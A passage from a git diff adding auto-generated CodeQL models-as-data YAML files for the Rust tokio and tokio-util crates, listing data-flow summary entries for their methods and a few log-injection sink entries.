"value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::reader_stream::ReaderStream::reader].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::with_capacity", "Argument[0]", "ReturnValue.Field[crate::io::reader_stream::ReaderStream::reader].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::io::reader_stream::ReaderStream::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::io::sink_writer::SinkWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::io::sink_writer::SinkWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::sink_writer::SinkWriter::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::sink_writer::SinkWriter::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::io::stream_reader::StreamReader::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::io::stream_reader::StreamReader::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::stream_reader::StreamReader::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner_with_chunk", "Argument[self].Field[crate::io::stream_reader::StreamReader::chunk]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner_with_chunk", "Argument[self].Field[crate::io::stream_reader::StreamReader::inner]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::stream_reader::StreamReader::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_mut", "Argument[self].Field[crate::io::sync_bridge::SyncIoBridge::src]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[crate::io::sync_bridge::SyncIoBridge::src]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::sync_bridge::SyncIoBridge::src]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::sync_bridge::SyncIoBridge::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_with_handle", "Argument[0]", "ReturnValue.Field[crate::io::sync_bridge::SyncIoBridge::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_with_handle", "Argument[1]", "ReturnValue.Field[crate::io::sync_bridge::SyncIoBridge::rt]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::wrap", "Argument[0]", "ReturnValue.Field[crate::context::TokioContext::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::wrap", "Argument[self].Field[crate::runtime::runtime::Runtime::handle]", "ReturnValue.Field[crate::context::TokioContext::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::sync::cancellation_token::CancellationToken::inner].Reference", "ReturnValue.Field[crate::sync::cancellation_token::CancellationToken::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::cancelled", "Argument[self]", "ReturnValue.Field[crate::sync::cancellation_token::WaitForCancellationFuture::cancellation_token]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::cancelled_owned", "Argument[self]", "ReturnValue.Field[crate::sync::cancellation_token::WaitForCancellationFutureOwned::cancellation_token]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::drop_guard", "Argument[self]", "ReturnValue.Field[crate::sync::cancellation_token::guard::DropGuard::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::disarm", "Argument[self].Field[crate::sync::cancellation_token::guard::DropGuard::inner].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::notified", "Argument[self].Field[crate::sync::cancellation_token::tree_node::TreeNode::waker]", "ReturnValue.Field[crate::sync::notify::Notified::notify].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::notified", "Argument[self].Field[crate::sync::cancellation_token::tree_node::TreeNode::waker]", "ReturnValue.Field[crate::sync::notify::Notified::notify]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::sync::mpsc::PollSendError(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::PollSender::state].Field[crate::sync::mpsc::State::Idle(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::abort_send", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "Argument[self].Field[crate::sync::mpsc::PollSender::state].Field[crate::sync::mpsc::State::Idle(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0].Reference", "ReturnValue.Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::PollSender::state].Field[crate::sync::mpsc::State::Idle(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::sync::poll_semaphore::PollSemaphore::semaphore].Reference", "ReturnValue.Field[crate::sync::poll_semaphore::PollSemaphore::semaphore]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[crate::sync::poll_semaphore::PollSemaphore::semaphore]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone_inner", "Argument[self].Field[crate::sync::poll_semaphore::PollSemaphore::semaphore].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::sync::poll_semaphore::PollSemaphore::semaphore]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::poll_semaphore::PollSemaphore::semaphore]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::try_set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[crate::task::abort_on_drop::AbortOnDropHandle(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::abort_handle", "Argument[self].Field[0].Field[crate::runtime::task::join::JoinHandle::raw]", "ReturnValue.Field[crate::runtime::task::abort::AbortHandle::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::abort_handle", "Argument[self].Field[crate::task::abort_on_drop::AbortOnDropHandle(0)].Field[crate::runtime::task::join::JoinHandle::raw]", "ReturnValue.Field[crate::runtime::task::abort::AbortHandle::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::task::task_tracker::TaskTracker::inner].Reference", "ReturnValue.Field[crate::task::task_tracker::TaskTracker::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::token", "Argument[self].Field[crate::task::task_tracker::TaskTracker::inner].Reference", "ReturnValue.Field[crate::task::task_tracker::TaskTrackerToken::task_tracker].Field[crate::task::task_tracker::TaskTracker::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::token", "Argument[self].Reference", "ReturnValue.Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::track_future", "Argument[0]", "ReturnValue.Field[crate::task::task_tracker::TrackedFuture::future]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::track_future", "Argument[self].Reference", "ReturnValue.Field[crate::task::task_tracker::TrackedFuture::token].Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::wait", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::task::task_tracker::TaskTrackerToken::task_tracker].Reference", "ReturnValue.Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "ReturnValue.Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::task_tracker", "Argument[self].Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::deadline", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::peek", "Argument[self].Field[crate::time::delay_queue::DelayQueue::expired].Field[crate::time::delay_queue::Stack::head]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_expired", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::remove", "Argument[0].Field[crate::time::delay_queue::Key::index]", "ReturnValue.Field[crate::time::delay_queue::Expired::key].Field[crate::time::delay_queue::Key::index]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::try_remove", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::deadline", "Argument[self].Field[crate::time::delay_queue::Expired::deadline]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::time::delay_queue::Expired::data]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::time::delay_queue::Expired::data]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::time::delay_queue::Expired::data]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::key", "Argument[self].Field[crate::time::delay_queue::Expired::key]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0].Field[crate::time::delay_queue::KeyInternal::index]", "ReturnValue.Field[crate::time::delay_queue::Key::index]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::time::delay_queue::Key::index]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0].Field[crate::time::delay_queue::Key::index]", "ReturnValue.Field[crate::time::delay_queue::KeyInternal::index]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::time::delay_queue::KeyInternal::index]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::index", "Argument[self].Field[crate::time::delay_queue::SlabStorage::inner].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::index_mut", "Argument[self].Field[crate::time::delay_queue::SlabStorage::inner].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::peek", "Argument[self].Field[crate::time::delay_queue::Stack::head]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::push", "Argument[0]", "Argument[self].Field[crate::time::delay_queue::Stack::head].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::elapsed", "Argument[self].Field[crate::time::wheel::Wheel::elapsed]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::insert", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::time::wheel::level::Level::level]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::next_expiration", "Argument[self].Field[crate::time::wheel::level::Level::level]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::time::wheel::level::Expiration::level]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::codec", "Argument[self].Field[crate::udp::frame::UdpFramed::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::codec_mut", "Argument[self].Field[crate::udp::frame::UdpFramed::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::udp::frame::UdpFramed::socket]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::udp::frame::UdpFramed::socket]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::udp::frame::UdpFramed::socket]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::udp::frame::UdpFramed::socket]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::udp::frame::UdpFramed::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_buffer", "Argument[self].Field[crate::udp::frame::UdpFramed::rd]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_buffer_mut", "Argument[self].Field[crate::udp::frame::UdpFramed::rd]", "ReturnValue.Reference", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::write", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_write", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::index", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::index_mut", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::next_expiration", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::next_expiration", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml new file mode 100644 index 000000000000..6790d9d9711f --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml @@ -0,0 +1,752 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&[u8] as crate::io::async_buf_read::AsyncBufRead>::consume", "Argument[self].Element", "Argument[self].Reference.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&[u8] as crate::io::async_buf_read::AsyncBufRead>::poll_fill_buf", "Argument[self].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&crate::task::wake::Waker as crate::sync::task::atomic_waker::WakerRef>::into_waker", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&mut crate::runtime::scheduler::inject::synced::Synced as crate::runtime::scheduler::lock::Lock>::lock", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_write_vectored", "Argument[self].Field[crate::MockWriter::vectored]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::TempFifo::path]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::TempFifo::path]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[0]", "Argument[self].Field[crate::fs::dir_builder::DirBuilder::mode].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[0]", "ReturnValue.Field[crate::fs::dir_builder::DirBuilder::mode].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::recursive", "Argument[0]", "Argument[self].Field[crate::fs::dir_builder::DirBuilder::recursive]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::recursive", "Argument[0]", "ReturnValue.Field[crate::fs::dir_builder::DirBuilder::recursive]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::recursive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set_max_buf_size", "Argument[0]", "Argument[self].Field[crate::fs::file::File::max_buf_size]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_into_std", "Argument[self].Field[crate::fs::file::File::std]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::fs::file::File::std]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_into_std", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::fs::open_options::OpenOptions(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::append", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_inner_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_inner_mut", "Argument[self].Field[crate::fs::open_options::OpenOptions(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::create", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::create_new", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::custom_flags", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::read", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::truncate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::write", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_inner", "Argument[self].Field[crate::fs::read_dir::DirEntry::std]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::async_fd::AsyncFd::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::async_fd::AsyncFd::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::ready", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::io::async_fd::AsyncFdReadyGuard::async_fd]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::ready_mut", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::io::async_fd::AsyncFdReadyMutGuard::async_fd]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io_mut", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::io::async_fd::AsyncFdTryNewError::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_new_with_handle_and_interest", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::io::async_fd::AsyncFdTryNewError::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_with_interest", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::io::async_fd::AsyncFdTryNewError::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::async_fd::AsyncFdReadyGuard::async_fd]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[self].Field[crate::io::async_fd::AsyncFdReadyGuard::async_fd]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::async_fd::AsyncFdReadyMutGuard::async_fd]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::async_fd::AsyncFdReadyMutGuard::async_fd]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[self].Field[crate::io::async_fd::AsyncFdReadyMutGuard::async_fd]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::source", "Argument[self].Field[crate::io::async_fd::AsyncFdTryNewError::cause]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_parts", "Argument[self].Field[crate::io::async_fd::AsyncFdTryNewError::cause]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_parts", "Argument[self].Field[crate::io::async_fd::AsyncFdTryNewError::inner]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::blocking::Blocking::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bytes", "Argument[self].Field[crate::io::blocking::Buf::buf].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_from", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_from_bufs", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_to", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_to", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::io::async_fd::AsyncFdTryNewError::cause]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::runtime::blocking::pool::SpawnError::NoThreads(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bitor_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::join::Join::reader]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::join::Join::writer]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reader", "Argument[self].Field[crate::io::join::Join::reader]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reader_mut", "Argument[self].Field[crate::io::join::Join::reader]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::writer", "Argument[self].Field[crate::io::join::Join::writer]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::writer_mut", "Argument[self].Field[crate::io::join::Join::writer]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", 